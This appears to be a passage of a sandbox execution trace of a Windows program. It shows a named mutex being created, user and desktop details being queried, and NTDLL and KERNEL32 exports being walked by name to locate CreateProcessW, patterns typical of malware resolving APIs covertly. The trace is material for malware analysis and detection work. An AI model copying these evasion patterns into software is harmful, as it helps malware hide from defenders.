lpString1=0x22ddb00, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0070.577] lstrcatA (in: lpString1="Local\\", lpString2="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" | out: lpString1="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0070.577] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22dd500 [0070.577] wsprintfA (in: param_1=0x22dd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E66674FB-0DD1-08BF-C77A-91BCEB4E55B0}") returned 38 [0070.577] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x27) returned 0x22ddb40 [0070.577] lstrcatA (in: lpString1="", lpString2="{E66674FB-0DD1-08BF-C77A-91BCEB4E55B0}" | out: lpString1="{E66674FB-0DD1-08BF-C77A-91BCEB4E55B0}") returned="{E66674FB-0DD1-08BF-C77A-91BCEB4E55B0}" [0070.577] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dd500 | out: hHeap=0x1ee0000) returned 1 [0070.577] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76f40000 [0070.578] GetProcAddress (hModule=0x76f40000, lpProcName="GetWindowThreadProcessId") returned 0x76f50a90 [0070.578] GetProcAddress (hModule=0x76f40000, lpProcName="FindWindowA") returned 0x76f68270 [0070.578] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0070.578] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x2fef80 | out: lpdwProcessId=0x2fef80) returned 0x45c [0070.578] lstrlenW (lpString="") returned 0 [0070.578] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xcc [0070.578] RtlAddVectoredExceptionHandler (FirstHandler=0x0, VectoredHandler=0x1d6be4c) returned 0x3b14a0 [0070.578] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x70) returned 0x22ddb70 [0070.578] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="{E66674FB-0DD1-08BF-C77A-91BCEB4E55B0}") returned 0xd4 [0070.579] GetLastError () returned 0x0 [0070.579] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22dd500 [0070.579] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0070.579] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0070.579] GetModuleHandleA (lpModuleName="kernelbase") returned 0x7fefd330000 [0070.579] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x1058) returned 0x22ddbf0 [0070.579] GetProcAddress (hModule=0x7fefd710000, lpProcName="GetUserNameA") returned 0x7fefd71dc20 [0070.579] GetUserNameA (in: lpBuffer=0x0, pcbBuffer=0x2fef90 | out: lpBuffer=0x0, pcbBuffer=0x2fef90) returned 0 [0070.589] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x12) returned 0x22dec50 [0070.589] GetUserNameA (in: lpBuffer=0x22dec50, pcbBuffer=0x2fef90 | out: lpBuffer="aETAdzjz", pcbBuffer=0x2fef90) returned 1 [0070.589] GetCurrentThreadId () returned 0xb74 [0070.589] GetProcAddress (hModule=0x76f40000, lpProcName="GetThreadDesktop") returned 0x76f5a850 [0070.589] GetThreadDesktop (dwThreadId=0xb74) returned 0x38 [0070.590] GetProcAddress (hModule=0x76f40000, lpProcName="GetUserObjectInformationA") returned 0x76f4777c [0070.590] GetUserObjectInformationA (in: hObj=0x38, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x2fef88 | out: pvInfo=0x0, lpnLengthNeeded=0x2fef88) returned 0 [0070.590] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x10) returned 0x22dec70 [0070.590] GetUserObjectInformationA (in: hObj=0x38, nIndex=2, pvInfo=0x22dec70, nLength=0x10, lpnLengthNeeded=0x2fef88 | out: pvInfo=0x22dec70, lpnLengthNeeded=0x2fef88) returned 1 [0070.591] lstrlenA (lpString="Default") returned 7 [0070.591] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dec70 | out: hHeap=0x1ee0000) returned 1 [0070.591] GetProcAddress (hModule=0x76f40000, lpProcName="CloseDesktop") returned 0x76f4d850 [0070.591] CloseDesktop (hDesktop=0x38) returned 0 [0070.591] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0070.591] lstrlenA (lpString="A_SHAFinal") returned 10 [0070.591] lstrlenA (lpString="A_SHAInit") returned 9 [0070.591] lstrlenA (lpString="A_SHAUpdate") returned 11 [0070.591] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0070.591] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0070.591] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0070.591] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0070.591] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0070.591] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0070.591] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0070.591] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0070.591] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0070.591] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0070.591] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0070.591] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0070.591] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0070.591] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0070.591] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0070.591] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0070.591] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0070.591] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0070.591] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0070.591] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0070.591] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0070.591] lstrlenA (lpString="CsrClientCallServer") returned 19 [0070.591] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0070.591] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0070.591] lstrlenA (lpString="CsrGetProcessId") returned 15 [0070.591] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0070.592] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0070.592] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0070.592] lstrlenA (lpString="DbgBreakPoint") returned 13 [0070.592] lstrlenA (lpString="DbgPrint") returned 8 [0070.592] lstrlenA (lpString="DbgPrintEx") returned 10 [0070.592] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0070.592] lstrlenA (lpString="DbgPrompt") returned 9 [0070.592] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0070.592] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0070.592] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0070.592] lstrlenA (lpString="DbgUiContinue") returned 13 [0070.592] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0070.592] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0070.592] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0070.592] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0070.592] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0070.592] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0070.592] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0070.592] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0070.592] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0070.592] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0070.592] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0070.592] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0070.592] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0070.592] lstrlenA (lpString="EtwEventEnabled") returned 15 [0070.592] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0070.592] lstrlenA (lpString="EtwEventRegister") returned 16 [0070.592] lstrlenA (lpString="EtwEventUnregister") returned 18 [0070.592] lstrlenA (lpString="EtwEventWrite") returned 13 [0070.592] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0070.592] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0070.592] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0070.592] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0070.592] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0070.592] lstrlenA (lpString="EtwEventWriteString") returned 19 [0070.592] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0070.592] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0070.592] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0070.592] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0070.592] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0070.592] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0070.592] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0070.593] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0070.593] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0070.593] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0070.593] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0070.593] lstrlenA (lpString="EtwReplyNotification") returned 20 [0070.593] lstrlenA (lpString="EtwSendNotification") returned 19 [0070.593] lstrlenA (lpString="EtwSetMark") returned 10 [0070.593] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0070.593] lstrlenA (lpString="EtwTraceMessage") returned 15 [0070.593] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0070.593] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0070.593] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0070.593] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0070.593] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0070.593] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0070.593] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0070.593] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0070.593] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0070.593] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd16") returned 32 [0070.593] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0070.593] lstrlenA (lpString="ExpInterlockedPopEntrySListFault16") returned 34 [0070.593] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0070.593] lstrlenA (lpString="ExpInterlockedPopEntrySListResume16") returned 35 [0070.593] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0070.593] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0070.593] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0070.593] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0070.593] lstrlenA (lpString="LdrAccessResource") returned 17 [0070.593] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0070.593] lstrlenA (lpString="LdrAddRefDll") returned 12 [0070.593] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0070.593] lstrlenA (lpString="LdrEnumResources") returned 16 [0070.593] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0070.593] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0070.593] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0070.593] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0070.593] lstrlenA (lpString="LdrFindResource_U") returned 17 [0070.593] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0070.593] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0070.593] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0070.593] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0070.594] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0070.594] lstrlenA (lpString="LdrGetFailureData") returned 17 [0070.594] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0070.594] lstrlenA (lpString="LdrGetKnownDllSectionHandle") returned 27 [0070.594] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0070.594] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0070.594] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0070.594] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0070.594] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0070.594] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0070.594] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0070.594] lstrlenA (lpString="LdrLoadDll") returned 10 [0070.594] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0070.594] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0070.594] lstrlenA (lpString="LdrProcessInitializationComplete") returned 32 [0070.594] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0070.594] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0070.594] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0070.594] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0070.594] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0070.594] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0070.594] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0070.594] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0070.594] lstrlenA (lpString="LdrResFindResource") returned 18 [0070.594] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0070.594] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0070.594] lstrlenA (lpString="LdrResRelease") returned 13 [0070.594] lstrlenA (lpString="LdrResSearchResource") returned 20 [0070.594] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0070.594] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0070.594] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0070.594] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0070.594] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0070.594] lstrlenA (lpString="LdrShutdownThread") returned 17 [0070.594] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0070.594] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0070.594] lstrlenA (lpString="LdrUnloadDll") returned 12 [0070.594] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0070.594] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0070.594] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0070.594] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0070.594] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0070.595] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0070.595] lstrlenA (lpString="MD4Final") returned 8 [0070.595] lstrlenA (lpString="MD4Init") returned 7 [0070.595] lstrlenA (lpString="MD4Update") returned 9 [0070.595] lstrlenA (lpString="MD5Final") returned 8 [0070.595] lstrlenA (lpString="MD5Init") returned 7 [0070.595] lstrlenA (lpString="MD5Update") returned 9 [0070.595] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0070.595] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0070.595] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0070.595] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0070.595] lstrlenA (lpString="NtAccessCheck") returned 13 [0070.595] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0070.595] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0070.595] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0070.595] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0070.595] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0070.595] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0070.595] lstrlenA (lpString="NtAddAtom") returned 9 [0070.595] lstrlenA (lpString="NtAddBootEntry") returned 14 [0070.595] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0070.595] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0070.595] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0070.595] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0070.595] lstrlenA (lpString="NtAlertThread") returned 13 [0070.595] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0070.595] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0070.595] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0070.595] lstrlenA (lpString="NtAllocateUuids") returned 15 [0070.595] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0070.595] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0070.595] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0070.595] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0070.595] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0070.595] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0070.595] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0070.595] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0070.595] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0070.595] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0070.595] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0070.595] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0070.595] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0070.596] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0070.596] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0070.596] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0070.596] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0070.596] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0070.596] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0070.596] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0070.596] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0070.596] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0070.596] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0070.596] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0070.596] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0070.596] lstrlenA (lpString="NtCallbackReturn") returned 16 [0070.596] lstrlenA (lpString="NtCancelIoFile") returned 14 [0070.596] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0070.596] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0070.596] lstrlenA (lpString="NtCancelTimer") returned 13 [0070.596] lstrlenA (lpString="NtClearEvent") returned 12 [0070.596] lstrlenA (lpString="NtClose") returned 7 [0070.596] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0070.596] lstrlenA (lpString="NtCommitComplete") returned 16 [0070.596] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0070.596] lstrlenA (lpString="NtCommitTransaction") returned 19 [0070.596] lstrlenA (lpString="NtCompactKeys") returned 13 [0070.596] lstrlenA (lpString="NtCompareTokens") returned 15 [0070.596] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0070.596] lstrlenA (lpString="NtCompressKey") returned 13 [0070.596] lstrlenA (lpString="NtConnectPort") returned 13 [0070.596] lstrlenA (lpString="NtContinue") returned 10 [0070.596] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0070.596] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0070.596] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0070.596] lstrlenA (lpString="NtCreateEvent") returned 13 [0070.596] lstrlenA (lpString="NtCreateEventPair") returned 17 [0070.596] lstrlenA (lpString="NtCreateFile") returned 12 [0070.596] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0070.596] lstrlenA (lpString="NtCreateJobObject") returned 17 [0070.596] lstrlenA (lpString="NtCreateJobSet") returned 14 [0070.596] lstrlenA (lpString="NtCreateKey") returned 11 [0070.596] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0070.596] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0070.596] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0070.596] lstrlenA (lpString="NtCreateMutant") returned 14 [0070.597] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0070.597] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0070.597] lstrlenA (lpString="NtCreatePort") returned 12 [0070.597] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0070.597] lstrlenA (lpString="NtCreateProcess") returned 15 [0070.597] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0070.597] lstrlenA (lpString="NtCreateProfile") returned 15 [0070.597] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0070.597] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0070.597] lstrlenA (lpString="NtCreateSection") returned 15 [0070.602] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x7fefd710000 [0070.602] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0070.602] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dec70 [0070.602] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessW") returned -1 [0070.605] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessW") returned -1 [0070.605] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessW") returned -1 [0070.605] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessW") returned -1 [0070.605] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessW") returned -1 [0070.605] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessW") returned -1 [0070.605] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessW") returned -1 [0070.605] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessW") returned -1 [0070.606] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="Beep", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessW") returned -1 [0070.607] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0070.607] 